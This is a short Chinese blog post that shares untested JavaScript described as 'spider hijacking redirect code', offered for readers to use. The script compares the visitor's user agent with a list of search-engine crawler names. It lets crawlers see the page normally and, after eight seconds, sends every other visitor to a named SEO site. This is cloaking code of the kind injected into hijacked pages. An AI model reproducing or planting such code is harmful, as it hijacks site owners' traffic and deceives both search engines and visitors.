最近有朋友问我要蜘蛛劫持跳转代码,找了一下早期整理的代码放上来,特别声明代码没测试,自己去实测哈。
var _agent = navigator.userAgent;
var _search = ['Baiduspider','Baiduspider-image','baidu Transcoder','YodaoBot','Googlebot','Googlebot-Image','FeedBurner','AdsBot-Google-Mobile','Sogou web spider','Sogou-Test-Spider','Yahoo! Slurp','Yahoo! Slurp China','bingbot','Sosospider','Sosoimagespider','360Spider','YoudaoBot','EasouSpider','YandexBot','Speedy Spider','xFruits','Feedly','360spider'];
var _mark = true;
for (var i=0;i<_search.length;i++) {
if (_agent.search(_search[i])!=-1) {
_mark = false;
}
}
if (_mark == true) {
setTimeout(sleeptime,8000);
function sleeptime() {
location.href="https://www.yinhuiseo.com/";
}
}
以上希望能够帮到大家。